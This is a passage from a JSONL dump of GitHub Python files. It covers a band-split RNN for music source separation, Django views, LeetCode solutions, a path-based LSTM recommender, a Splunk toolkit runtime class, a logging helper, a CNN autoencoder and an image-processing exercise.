bands, num_subbands))  # len(self.bands)==42\n        assert len(self.bands)==sum(num_subbands)+1\n        self.band_intervals = self.bands[1:]-self.bands[:-1]\n        num_total_subbands = len(self.bands)-1\n        \n        self.channels = channels\n        fc_dim=fc_dim*channels\n        hidden_dim = 4*fc_dim # *4\n        self.pre_layer = nn.Sequential(  # for parallel processing\n            Rearrange('b n k t -> b k n t'),\n            nn.GroupNorm(num_total_subbands, num_total_subbands),  # LayerNorms\n            nn.Conv2d(in_channels=num_total_subbands,\n                      out_channels=num_total_subbands * hidden_dim,\n                      kernel_size=(fc_dim, 1),\n                      groups=num_total_subbands), # first FC layers, out: (b, k*h, 1, t)\n            Rearrange('b (k h) 1 t -> b k t h', h=hidden_dim)\n        )\n        \n        self.post_fc_list = nn.ModuleList([  # second(last) fc layers of mlp\n            nn.Linear(hidden_dim, band_interval*2*channels)\n            for band_interval in self.band_intervals])\n        \n    def forward(self, q):\n        # q: (b n k t)\n        out1 = self.pre_layer(q) # out1:(b k t h)\n        outs = []\n        for i in range(len(self.band_intervals)):\n            out2 = self.post_fc_list[i](out1[:,i]) # out2:(b, t, interval*2)\n            out2 = rearrange(out2, 'b t (f c ri) -> (b c) f t ri', c=self.channels, ri=2)  #spec = rearrange(spec, '(b c) f t ri -> b f t (c ri)', c=self.hparams.channels, ri=2)\n            outs.append(out2)\n        mask_real = torch.cat(outs, dim=-3)\n        return mask_real\n            \n\nclass ExtractOutput(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n    def forward(self, x):\n        out, _ = x\n        return out\n\n\ndef _quantize_hz2bins(sr, n_fft, bands, num_subbands):\n    assert len(bands)+1==len(num_subbands)\n    bands = [0] + bands + [int(sr/2)]\n    bands = np.array(bands)*n_fft/sr\n    \n    freq_bins = [] \n    for i in range(len(num_subbands)):\n        start_freq = int(bands[i])\n        end_freq = int(bands[i+1])\n        num_bands = num_subbands[i]\n        interval = (end_freq - start_freq) / num_bands\n        for n in range(num_bands):\n            freq_bins.append(int(start_freq+interval*n))\n    freq_bins.append(int(n_fft/2)+1)\n    return freq_bins\n\ndef adjust_seq_len(wav, hop_length):\n    len_wav = wav.shape[-1]\n    len_adj = int(len_wav/hop_length)*hop_length\n    wav_adj = wav[...,:len_adj]\n    return wav_adj\n\n\nif __name__==\"__main__\":\n    from torchinfo import summary\n    sec = 6\n    nfft=2048\n    hop=512\n    sr = 44100\n    lr=None\n    bs=None\n\n    \n    bsrnn = BSRNN('vocals', sr, nfft, hop, lr, bs, num_band_seq_module=3)\n    wav_len = sr*sec\n    wav_len = int(wav_len/hop)*hop\n    summary(bsrnn, input_size=(2, 2, wav_len))\n    \n    \n    # wav = torch.randn(4, 2, sr*sec)\n    # print('wavlen: ', int(wav.shape[-1]/hop)*(hop))\n    # wav = wav[:, :int(wav.shape[-1]/hop)*(hop)]\n    # print('in wav: ', wav.shape)\n    \n    # out_spec, out_wav = bsrnn.forward(wav)\n    # print('out wav:', out_wav.shape)\n    # print('out spec:', out_spec.shape)","repo_name":"yoongi43/music_source_separation","sub_path":"bsrnn/model_pl.py","file_name":"model_pl.py","file_ext":"py","file_size_in_byte":15829,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"}
+{"seq_id":"34903043690","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nnums = []\n\n\ndef index(request):\n    for i in range(1, 21):\n        nums.append(i)\n\n    return render(request, 'index.html', {'nums': nums})\n\n\ndef get_nums(request):\n    start = 0\n    end = 0\n    try:\n        assert start is not None and end is not None\n\n        start = int(request.GET.get('start'))\n        end = int(request.GET.get('end'))\n\n        if end > start:\n            nums.clear()\n\n            for i in range(start, end + 1):\n                nums.append(i)\n\n            return render(request, 'Numbers.html', {'nums': nums})\n        else:\n            return HttpResponse('Ending value cannot be smaller than the Starting Value!')\n    except ValueError:\n        tpl = tuple(x for x in range(1, 21))\n        context = {\n            'iterator': tpl\n        }\n        return render(request, 'Numbers.html', context=context)\n","repo_name":"KaivalyaD/DjangoProjects","sub_path":"taskone/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37441402926","text":"#\n# [94] Binary Tree Inorder Traversal\n#\n# https://leetcode.com/problems/binary-tree-inorder-traversal/description/\n#\n# algorithms\n# Medium (49.72%)\n# Total Accepted:    274.8K\n# Total Submissions: 552.7K\n# Testcase Example:  '[1,null,2,3]'\n#\n# Given a binary tree, return the inorder traversal of its nodes' values.\n# \n# \n# For example:\n# Given binary tree [1,null,2,3],\n# \n# ⁠  1\n# ⁠   \\\n# ⁠    2\n# ⁠   /\n# ⁠  3\n# \n# \n# \n# return [1,3,2].\n# \n# \n# Note: Recursive solution is trivial, could you do it iteratively?\n#\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def inorderTraversal(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: List[int]\n        \"\"\"\n        res, stack = [], []\n        while True:\n            while root:\n                stack.append(root)\n                root = root.left\n            if not stack:\n                return res\n            node = stack.pop()\n            res.append(node.val)\n            root = node.right\n        return res\n","repo_name":"zhiymatt/Leetcode","sub_path":"Python/94.binary-tree-inorder-traversal.134249591.ac.python3.py","file_name":"94.binary-tree-inorder-traversal.134249591.ac.python3.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8570257002","text":"def merge(arr_1, arr_2):\n    if not arr_1:\n        return arr_2\n    elif not arr_2:\n        return arr_1\n    merged_arr = []\n    i = 0\n    j = 0\n    while (i < len(arr_1) and j < len(arr_2)):\n        print(arr_1[i], arr_2[j])\n        if arr_1[i] < arr_2[j]:\n            merged_arr.append(arr_1[i])\n            i+=1\n        else:\n            merged_arr.append(arr_2[j])\n            j+=1\n        print(merged_arr)\n    return merged_arr + arr_1[i:] + arr_2[j:]\n\narr_1 = [1,2,7,12,54]\narr_2 = [2,4,5,11,78]\nprint(merge(arr_1,arr_2))\n\narr_1 = []\narr_2 = [2,4,5,11,78]\nprint(merge(arr_1,arr_2))","repo_name":"NikPim/Python-algorithms-and-data-structures","sub_path":"merge_sorted_arrays.py","file_name":"merge_sorted_arrays.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"3760795162","text":"#This is part is aims to feed connected paths into the recurrent neural network to train and test the proposed methods.\n\nimport numpy as np\nimport argparse\nimport torch\nimport torch.autograd as autograd\nfrom torch import nn, optim\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom LSTMTagger import LSTMTagger\nfrom LSTMTrain import LSTMTrain\nfrom LSTMEvaluation import LSTMEvaluation\nfrom datetime import datetime\n\nfrom caserec.utils.process_data import ReadFile, WriteFile\nfrom caserec.evaluation.item_recommendation import ItemRecommendationEvaluation\n\n\ndef case_rec_evaluator(test_file, predictions_file, top_score_dict):\n        print_list = []\n        for user, item_list in top_score_dict.items():\n            for item in item_list:\n                score = 1.0 / (item_list.index(item) + 1)\n                print_list.append((int(user[1:]), int(item[1:]), float(score)))\n        WriteFile(predictions_file, data=print_list, sep='\\t').write()\n\n        # Using CaseRecommender ReadFile class to read test_set from file\n        eval_data = ReadFile(input_file=test_file).read()\n        predictions_data = ReadFile(input_file=predictions_file).read()\n\n        # Creating CaseRecommender evaluator with item-recommendation parameters\n        evaluator = ItemRecommendationEvaluation(n_ranks=[10])\n\n        # Getting evaluation\n        item_rec_metrics = evaluator.evaluate(predictions_data['feedback'], eval_data)\n\n        print ('\\nItem Recommendation Metrics:\\n', item_rec_metrics)\n\n        return item_rec_metrics\n\n\ndef load_paths(fr_file, isPositive):\n\t'''\n\tload postive or negative paths, map all nodes in paths into ids\n\n\tInputs:\n\t\t@fr_file: positive or negative paths\n\t\t@isPositive: identify fr_file is positive or negative\n\t'''\n\n\tglobal node_count, all_variables, paths_between_pairs, positive_label, all_user, all_movie\n\n\tfor line in fr_file:\n\t\tline = line.replace('\\n', '')\n\t\tlines = line.split(',')\n\t\tuser = lines[0]\n\t\tmovie = lines[-1]\n\n\t\tif user not in all_user:\n\t\t\tall_user.append(user)\n\t\tif movie not in all_movie:\n\t\t\tall_movie.append(movie)\n\n\t\tkey = (user, movie)\n\t\tvalue = []\n\t\tpath = []\n\n\t\tif isPositive:\n\t\t\tif key not in positive_label:\n\t\t\t\tpositive_label.append(key)\n\n\t\tfor node in lines:\n\t\t\tif node not in all_variables:\n\t\t\t\tall_variables.update({node:node_count})\n\t\t\t\tnode_count = node_count + 1\n\t\t\tpath.append(node)\n\n\t\tif key not in paths_between_pairs:\n\t\t\tvalue.append(path)\n\t\t\tpaths_between_pairs.update({key:value})\n\t\telse:\n\t\t\tpaths_between_pairs[key].append(path)\n\n\ndef load_pre_embedding(fr_pre_file, isUser):\n\t'''\n\tload pre-train-user or movie embeddings\n\n\tInputs:\n\t\t@fr_pre_file: pre-train-user or -movie embeddings\n\t\t@isUser: identify user or movie\n\t'''\n\tglobal pre_embedding, all_variables\n\n\tfor line in fr_pre_file:\n\t\tlines = line.split('|')\n\t\tnode = lines[0]\n\t\tif isUser:\n\t\t\tnode = 'u' + node\n\t\telse:\n\t\t\tnode = 'i' + node\n\n\t\tif node in all_variables:\n\t\t\tnode_id = all_variables[node]\n\t\t\tembedding = [float(x) for x in lines[1].split()]\n\t\t\tembedding = np.array(embedding)\n\t\t\tpre_embedding[node_id] = embedding\n\n\ndef load_data(fr_file):\n\t'''\n\tload training or test data\n\n\tInput:\n\t\t\t@fr_rating: the user-item rating data\n\n\tOutput:\n\t\t\t@rating_data: user-specific rating data with timestamp\n\t'''\n\n\tdata_dict = {}\n\n\tfor line in fr_file:\n\t\t\tlines = line.replace('\\n', '').split('\\t')\n\t\t\tuser = 'u' + lines[0]\n\t\t\titem = 'i' + lines[1]\n\n\t\t\tif user not in data_dict:\n\t\t\t\tdata_dict.update({user:[item]})\n\t\t\telif item not in data_dict[user]:\n\t\t\t\tdata_dict[user].append(item)\n\n\treturn data_dict\n\n\ndef write_results(fw_results, precision_1, precision_5, precision_10, mrr_10):\n\t'''\n\twrite results into text file\n\t'''\n\tline = 'precision@1: ' + str(precision_1) + '\\n' + 'precision@5: ' + str(precision_5) + '\\n' \\\n\t\t+ 'precision@10: ' + str(precision_10) + '\\n' + 'mrr: ' + str(mrr_10) + '\\n'\n\tfw_results.write(line)\n\n\n\nif __name__ == '__main__':\n\n\tparser = argparse.ArgumentParser(description=''' Recurrent Neural Network ''')\n\n\t'''\n\tParameter Settings:\n\tfor MovieLens in terms of [input_dim, hidden_dim, out_dim, iteration, learning_rate, optimizer] is [10, 16, 1, 5, 0.2/0.1, SGD]\n\tfor Yelp in terms of [input_dim, hidden_dim, out_dim, iteration, learning_rate, optimizer] is [20, 32, 1, 5, 0.01, SGD]\n\tYou can change optimizer in the LSTMTrain class\n\t'''\n\n\tparser.add_argument('--inputdim', type=int, dest='input_dim', default=10)\n\tparser.add_argument('--hiddendim', type=int, dest='hidden_dim', default=16)\n\tparser.add_argument('--outdim', type=int, dest='out_dim', default=1)\n\tparser.add_argument('--iteration', type=int, dest='iteration', default=5)\n\tparser.add_argument('--learingrate', type=float, dest='learning_rate', default=0.2)\n\n\tparser.add_argument('--positivepath', type=str, dest='positive_path', default='data/ml/positive-path.txt')\n\tparser.add_argument('--negativepath', type=str, dest='negative_path', default='data/ml/negative-path.txt')\n\tparser.add_argument('--pretrainuserembedding', type=str, dest='pre_train_user_embedding', default='data/ml/pre-train-user-embedding.txt')\n\tparser.add_argument('--pretrainmovieembedding', type=str, dest='pre_train_movie_embedding', default='data/ml/pre-train-item-embedding.txt')\n\tparser.add_argument('--train', type=str, dest='train_file', default='data/ml/training.txt')\n\tparser.add_argument('--test', type=str, dest='test_file', default='data/ml/test.txt')\n\tparser.add_argument('--results', type=str, dest='results', default='data/ml/results.txt')\n\n\tparsed_args = parser.parse_args()\n\n\tinput_dim = parsed_args.input_dim\n\thidden_dim = parsed_args.hidden_dim\n\tout_dim = parsed_args.out_dim\n\titeration = parsed_args.iteration\n\tlearning_rate = parsed_args.learning_rate\n\n\tpositive_path = parsed_args.positive_path\n\tnegative_path = parsed_args.negative_path\n\tpre_train_user_embedding = parsed_args.pre_train_user_embedding\n\tpre_train_movie_embedding = parsed_args.pre_train_movie_embedding\n\ttrain_file = parsed_args.train_file\n\ttest_file = parsed_args.test_file\n\tresults_file = parsed_args.results\n\n\tstart_time = datetime.now()\n\n\tfr_postive = open(positive_path, 'r')\n\tfr_negative = open(negative_path, 'r')\n\tfr_pre_user = open(pre_train_user_embedding, 'r')\n\tfr_pre_movie = open(pre_train_movie_embedding, 'r')\n\tfr_train = open(train_file,'r')\n\tfr_test = open(test_file,'r')\n\tfw_results = open(results_file, 'w')\n\n\n\tnode_count = 0 #count the number of all entities (user, movie and attributes)\n\tall_variables = {} #save variable and corresponding id\n\tpaths_between_pairs = {} #save all the paths (both positive and negative) between a user-movie pair\n\tpositive_label = [] #save the positive user-movie pairs\n\tall_user = [] #save all the users\n\tall_movie = [] #save all the movies\n\n\tstart_time = datetime.now()\n\tload_paths(fr_postive, True)\n\tload_paths(fr_negative, False)\n\tprint ('The number of all variables is :' + str(len(all_variables)))\n\tend_time = datetime.now()\n\tduration = end_time - start_time\n\tprint ('the duration for loading user path is ' + str(duration) + '\\n')\n\n\tstart_time = datetime.now()\n\tnode_size = len(all_variables)\n\tpre_embedding = np.random.rand(node_size, input_dim) #embeddings for all nodes\n\tload_pre_embedding(fr_pre_user, True)\n\tload_pre_embedding(fr_pre_movie, False)\n\tpre_embedding = torch.FloatTensor(pre_embedding)\n\tend_time = datetime.now()\n\tduration = end_time - start_time\n\tprint ('the duration for loading embedding is ' + str(duration) + '\\n')\n\n\tstart_time = datetime.now()\n\tmodel = LSTMTagger(node_size, input_dim, hidden_dim, out_dim, pre_embedding)\n\tif torch.cuda.is_available():\n\t\tmodel = model.cuda()\n\n\tmodel_train = LSTMTrain(model, iteration, learning_rate, paths_between_pairs, positive_label, \\\n\t\tall_variables, all_user, all_movie)\n\tembedding_dict = model_train.train()\n\tprint('model training finished')\n\tend_time = datetime.now()\n\tduration = end_time - start_time\n\tprint ('the duration for model training is ' + str(duration) + '\\n')\n\n\tstart_time = datetime.now()\n\ttrain_dict = load_data(fr_train)\n\ttest_dict = load_data(fr_test)\n\tmodel_evaluation = LSTMEvaluation(embedding_dict, all_movie, train_dict, test_dict)\n\ttop_score_dict = model_evaluation.calculate_ranking_score()\n\tprecision_1,_ = model_evaluation.calculate_results(top_score_dict, 1)\n\tprecision_5,_ = model_evaluation.calculate_results(top_score_dict, 5)\n\tprecision_10, mrr_10 = model_evaluation.calculate_results(top_score_dict, 10)\n\tend_time = datetime.now()\n\tduration = end_time - start_time\n\tprint ('the duration for model evaluation is ' + str(duration) + '\\n')\n\n\twrite_results(fw_results, precision_1, precision_5, precision_10, mrr_10)\n\n\tend_time = datetime.now()\n\tduration = end_time - start_time\n\tprint('the duration for loading item embedding is ' + str(duration) + '\\n')\n\n\tpredictions_file = results_file[:-4] + '_pred.dat'\n\tcase_rec_evaluator(test_file, predictions_file, top_score_dict)\n\n\tfr_postive.close()\n\tfr_negative.close()\n\tfr_pre_user.close()\n\tfr_pre_movie.close()\n\tfr_train.close()\n\tfr_test.close()\n\tfw_results.close()\n","repo_name":"juarezsacenti/kg-summ-rec","sub_path":"adapt/recurrent-neural-network.py","file_name":"recurrent-neural-network.py","file_ext":"py","file_size_in_byte":8953,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"1734283833","text":"from dltk.core import connector\n\n__all__ = [\n    \"Runtime\",\n]\n\n\nclass Runtime(object):\n    _splunk = None\n    _stanza = None\n    _connector = None\n\n    def __init__(self, splunk, stanza):\n        self._splunk = splunk\n        self._stanza = stanza\n\n    @property\n    def name(self):\n        return self._stanza.name\n\n    @property\n    def connector_name(self):\n        return self._stanza[\"connector\"]\n\n    @property\n    def connector(self):\n        if not self._connector:\n            self._connector = connector.get(self._splunk, self.connector_name)\n        return self._connector\n\n    _algorithm_param_names = None\n\n    @property\n    def algorithm_param_names(self):\n        if self._algorithm_param_names is None:\n            self._algorithm_param_names = set()\n            if \"algorithm_params\" in self._stanza:\n                algorithm_params = self._stanza[\"algorithm_params\"]\n                if algorithm_params:\n                    for name in algorithm_params.split(\",\"):\n                        name = name.strip()\n                        if name:\n                            self._algorithm_param_names.add(name)\n        return self._algorithm_param_names\n\n    @algorithm_param_names.setter\n    def set_algorithm_param_names(self, value):\n        if not isinstance(value, str):\n            value = ','.join(value)\n        self._stanza.submit({\n            \"algorithm_params\": value,\n        })\n\n    _deployment_param_names = None\n\n    @property\n    def deployment_param_names(self):\n        if self._deployment_param_names is None:\n            self._deployment_param_names = set()\n            if \"deployment_params\" in self._stanza:\n                deployment_params = self._stanza[\"deployment_params\"]\n                if deployment_params:\n                    for name in deployment_params.split(\",\"):\n                        name = name.strip()\n                        if name:\n                            self._deployment_param_names.add(name)\n        return self._deployment_param_names\n\n    @property\n    def deployment_handler(self):\n        return self._stanza[\"deployment_handler\"]\n\n    @property\n    def execution_handler(self):\n        return self._stanza[\"execution_handler\"]\n\n    @property\n    def algorithm_handler(self):\n        return self._stanza[\"algorithm_handler\"]\n\n    def get_param(self, name):\n        if name in self._stanza.content:\n            return self._stanza.content[name]\n        else:\n            return None\n\n    def set_param(self, name, value):\n        self._stanza.submit({\n            name: value\n        })\n        self._stanza.refresh()\n\n    @property\n    def deployment_code(self):\n        deployment_code = self._stanza[\"deployment_code\"]\n        if deployment_code is None:\n            deployment_code = \"\"\n        return deployment_code\n\n    @property\n    def source_code(self):\n        source_code = self._stanza[\"source_code\"]\n        if source_code is None:\n            source_code = \"\"\n        return source_code\n","repo_name":"splunk/deep-learning-toolkit","sub_path":"app/bin/dltk/core/runtime/runtime.py","file_name":"runtime.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"}
+{"seq_id":"34559057254","text":"#!/usr/bin/env python\nfrom __future__ import absolute_import, division, print_function\nfrom os import getenv\nfrom os.path import basename, exists\nfrom logging import (\n    DEBUG, FileHandler, Formatter, getLogger, Handler, INFO, StreamHandler)\nfrom logging.handlers import SysLogHandler\nfrom syslog import LOG_LOCAL1\nfrom time import strftime\nfrom sys import argv, stderr\n\nclass MultiHandler(Handler):\n    \"\"\"\n    Send log events to multiple handlers.\n    \"\"\"\n    def __init__(self, handlers):\n        super(MultiHandler, self).__init__()\n        self.handlers = handlers\n        return\n\n    def emit(self, record):\n        for handler in self.handlers:\n            handler.emit(record)\n        return\n\n    def flush(self):\n        for handler in self.handlers:\n            handler.flush()\n\nclass Log8601Formatter(Formatter):\n    def formatTime(self, record, datefmt=None):\n        return strftime(\"%Y-%m-%dT%H:%M:%SZ\", self.converter(record.created))\n\ndef setup_logging():\n    global log\n\n    progname = basename(argv[0])\n    log = getLogger()\n    log.setLevel(DEBUG)\n\n    handlers = []\n    buildlog_handler = FileHandler(getenv(\"HOME\") + \"/build.log\")\n    buildlog_handler.setFormatter(\n        Log8601Formatter(\"%(asctime)s \" + progname + \" %(levelname)s \" +\n                         \"%(filename)s:%(lineno)s: %(message)s\"))\n    handlers.append(buildlog_handler)\n\n    stderr_handler = StreamHandler(stderr)\n    stderr_handler.setFormatter(\n        Log8601Formatter(\"%(asctime)s %(name)s %(levelname)s \" +\n                         \"%(filename)s:%(lineno)s: %(message)s\"))\n    handlers.append(stderr_handler)\n    \n    if exists(\"/dev/log\"):\n        syslog_handler = SysLogHandler(\n            address=\"/dev/log\", facility=LOG_LOCAL1)\n        syslog_handler.setFormatter(\n            Log8601Formatter(progname +\n                             \" %(asctime)s %(levelname)s: %(message)s\"))\n        handlers.append(syslog_handler)\n\n\n    log.addHandler(MultiHandler(handlers))\n\n    getLogger(\"boto\").setLevel(INFO)\n    getLogger(\"boto3\").setLevel(INFO)\n    getLogger(\"botocore\").setLevel(INFO)\n    return\n\nsetup_logging()\n\n# Local variables:\n# mode: Python\n# tab-width: 8\n# indent-tabs-mode: nil\n# End:\n# vi: set expandtab tabstop=8\n","repo_name":"dacut/dist.kanga.org","sub_path":"kdist/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23858495493","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n    \nclass autoencoder(nn.Module):\n    \"\"\"CNN autoencoder which maps 1024 bit input to 256 embedding\"\"\"\n    \n    def __init__(self):\n        super(autoencoder, self).__init__()\n        \n        self.encoder1 = nn.Sequential(\n            nn.Conv2d(16, 32, 2),\n            nn.ReLU(True),\n        )\n        self.encoder2 = nn.Sequential(\n            nn.Conv2d(32, 64, 3),\n            nn.ReLU(True),\n        )\n        self.encoder3 = nn.Sequential(\n            nn.Conv2d(64, 128, 3),\n            nn.ReLU(True),\n        )\n        self.encoder4 = nn.Sequential(\n            nn.Conv2d(128, 256, 3),\n            nn.ReLU(True),\n        )\n       \n        self.decoder1 = nn.Sequential(\n            nn.ConvTranspose2d(256, 128, 3),\n            nn.ReLU(True),\n        )\n        self.decoder2 = nn.Sequential(\n            nn.ConvTranspose2d(128, 64, 3),\n            nn.ReLU(True),\n        )\n        self.decoder3 = nn.Sequential(\n            nn.ConvTranspose2d(64, 32, 3),\n            nn.ReLU(True),\n        )\n        self.decoder4 = nn.Sequential(\n            nn.ConvTranspose2d(32, 16, 2),\n            nn.Sigmoid()\n        )\n        \n    def forward(self, x):\n        for param in self.encoder1.parameters():\n            param.requires_grad = False\n        for param in self.decoder4.parameters():\n            param.requires_grad = False\n            \n        for param in self.encoder2.parameters():\n            param.requires_grad = False\n        for param in self.decoder3.parameters():\n            param.requires_grad = False\n\n        for param in self.encoder3.parameters():\n            param.requires_grad = False\n        for param in self.decoder2.parameters():\n            param.requires_grad = False\n            \n        x = self.encoder1(x)\n        x = self.encoder2(x)\n        x = self.encoder3(x)\n        x = self.encoder4(x)\n        \n        x = self.decoder1(x)\n        x = self.decoder2(x)\n        x = self.decoder3(x)\n        x = self.decoder4(x)\n        \n        return x\n    \n    def encode(self, x):\n        x = self.encoder1(x)\n        x = self.encoder2(x)\n        x = self.encoder3(x)\n        x = self.encoder4(x)\n        \n        return x","repo_name":"MateuszPuto/chessengine","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43908929490","text":"import numpy as np\n\n## 1. Show Image\n\nfrom skimage import data\n\n### Load image ###\nim = data.coffee() / 255.  # Why do we divide image by '255.'?\nprint(im)\n### Check the shape of 'im' ###\nprint(\"Shape of 'im':\", im.shape)  # What is the shape of 'im'? Why are there three channels?\n\nfrom matplotlib import pyplot as plt\nplt.imshow(im)\nplt.show() \n\nimport PIL.Image\nim = PIL.Image.open('path/to/your/image')\nim = np.array(im)\n\nnp.save(file, arr, allow_pickle=True, fix_imports=True)\n\n\n#-----------------------------\n## 2. Shift Image\n\n# import numpy as np\n# from matplotlib import pyplot as plt\nfrom skimage import data\nfrom PIL import Image\nimport pdb\nimport matplotlib as mpl\n\nmpl.rcParams['toolbar'] = 'None'\n\n\ndef show_image(i, img):\n    if len(img.shape) == 2:\n        plt.figure(i); plt.imshow(img, cmap='gray'); plt.xticks([]); plt.yticks([]); plt.ion(); plt.show();\n    else:\n        plt.figure(i); plt.imshow(img); plt.xticks([]); plt.yticks([]); plt.ion(); plt.show();\n\ndef close_image(i):\n    if i == 0:\n        plt.close('all')\n    else:\n        plt.close(i)\n\ndef check_same(a, b):\n    if np.abs(a - b).mean() == 0:\n        print('Mission complete!')\n    else:\n        print('Inputs are different. Try again!')\n\n### Load image ###\nim = data.coffee()\n\n### Load GT ###\ngt1 = np.load('gt1.npy')\n\n### Visualize 'gt1' and 'im' ###\nshow_image(0, gt1)  # Please check the values of black pixels\n#show_image(1, im)\n\n### Please convert 'im' to look like 'gt1' ###\nim1 = np.zeros(im.shape)  # What is the np.zeros function? What is the shape of 'im1'?\n\n### Your implementation goes from here... ###\nhh, ww, cc = im.shape  \t\t# hh=400, ww=600, cc=3\n\nfor i in range(ww):\n\t# print('index:', i)\n\tim1 = np.zeros(im.shape)\n\tim1[:, i:, :] = im[:, :ww-i, :]\n\tif (gt1 == im1).all():\n\t\tbreak\n\n### Check whether they are the same ###\ncheck_same(gt1, im1)\n\n\n### Try 'samples/gt2.npy' ###\n### Load GT ###\ngt2 = np.load('gt2.npy')\nim2 = np.zeros(im.shape)\n\n### Your implementation goes from here... ###\ngt2_H = gt2.sum(axis=(0,2)) \t# (600, ) heigth, channel 따라 값 더함  \ngt2_V = gt2.sum(axis=(1,2))\t\t# (400, ) width, channel 따라 값 더함  \n\njj = (gt2_H == 0).sum() \t\t# 100 (0이 아닌 index 찾기)\nii = (gt2_V == 0).sum() \t\t# 100\n\nim2[ii:, jj:, :] = im[:hh-ii, :ww-jj, :]\n\n### Check whether they are the same ###\ncheck_same(gt2, im2)\n\n\n#-----------------------------\n## 3. Grayscale Image\n\n### Load GT ###\ngt3 = np.load('gt3.npy')\n\n### Check the shape of gt3 ###\nprint(\"Shape of 'gt3':\", gt3.shape)  # What is the shape of 'gt3'?\n\n### Visualize gt3 ###\nshow_image(1, gt3)  # What is the definition of grayscale image?\n\n### Please convert 'im' to look like 'gt3' ###\nim3 = np.zeros(im[:, :, 0].shape)\n\n## Put your code here\nww, hh, cc = im.shape\nim3 = im.mean(axis=2)\n\n### Check whether they are the same ###\ncheck_same(gt3, im3)\n\n\n#-----------------------------\n## 4. Image Multiplication \n\n### Load image ###\nim = data.cat() / 255.  # Why do we divide image by '255.'? normalization -> make values 0~1\ngt1 = np.load('gt4.npy')\n\n### Check the shape of 'im' ###\n# print(\"Shape of 'im':\", im.shape)  # What is the shape of 'im'? Why are there three channels? -> (300, 451, 3) RGB channels=3\n\n### Visualize 'gt1' and 'im' ###\n# show_image(1, im)\n# show_image(2, gt1)\n\n### Please convert 'im' to look like 'gt1' by multiplying binary mask. ###\n### Hint: \"The region of cat's eye has the size of 100 x 100.\" ###\n\n### Make a binary mask first ###\n# mask = np.ones(im.shape).mean(axis=2, keepdims=True)\n# print(\"Shape of 'mask':\", mask.shape) \n'''\n  im1 : \n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  P  1  1  1  0  0  0  0  0\n  0  0  1  1  1  1  0  0  0  0  0\n  0  0  1  1  1  1  0  0  0  0  0    -> Assign ones only in a specific area (cat's eye).\n  0  0  1  1  1  Q  0  0  0  0  0    -> Find the coordinate value of P(x1,y1) and Q(x2,y2)\n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  0  0  0  0  0  0  0  0  0\n  0  0  0  0  0  0  0  0  0  0  0\n\n  Please make a cat's eye mask!\n'''\nmask = np.zeros(im.shape).mean(axis=2, keepdims=True) \t# (300, 451, 1)\n\nhh, ww, cc = im.shape\nfor i in range(hh):\n\tfor j in range(ww):\n\t\tif gt1[i, j, 0]:\n\t\t\tmask[i, j, 0] = 1\n\t\t\ty2, x2 = i, j \t\t# x2, y2 = 219, 164\ny1, x1 = y2-100, x2-100  \t\t# x1, y1 = 119, 64 \t(120, 65)\n\n### Multiply the binary mask with im ###\n### 'im' and 'mask' have different shape. How is this possible? Please check BROADCASTING! ### \n# Broadcasting = how NumPy treats arrays with different shapes during arithmetic operations\nim1 = im * mask\n\ncheck_same(gt1, im1)\n\n#-----------------------------\n## 5. Image cropping and resizing\n\nfrom skimage.transform import rescale, resize\n\nim2 = im[y1:y2, x1:x2]\n# print(\"Shape of 'im2':\", im2.shape)\n\n### Two different resizing function from scikit-image library ###\n### Please discuss the meaning of input tuples ##\nim2_1 = rescale(im2, (4,4,1))\nim2_2 = resize(im2, (400,400))\n'''\trescale : change the size of whole image by resampling it. specify scaling factor \n    resize : change the size, dimensions(width, height) = extend the image. specify output image shape'''\n\n### Visualize the resized images ###\n# show_image(1, im2)\n# show_image(2, im2_1)\n# show_image(3, im2_2)\n\n\n#-----------------------------\n## 6. Photoshop - bilateral filter\nim = imageio.imread('random_face.png') / 255.  # Download your own image\nim = resize(im, (300,300))\nshow_image(1, im)\n\n### Apply bilateral filter ###\nim_b = restoration.denoise_bilateral(im, sigma_color=0.03, sigma_spatial=2, channel_axis=-1)\nshow_image(2, im_b)\n\n# sigma_color:blur effect, larger ->  larger radiometric diffferences\n# sigma_spatial:larger -> an average of pixels with large spatial differences\n\n","repo_name":"sohee98/2022-2nd-Course","sub_path":"VC (TA)/Exercise4.py","file_name":"Exercise4.py","file_ext":"py","file_size_in_byte":5744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
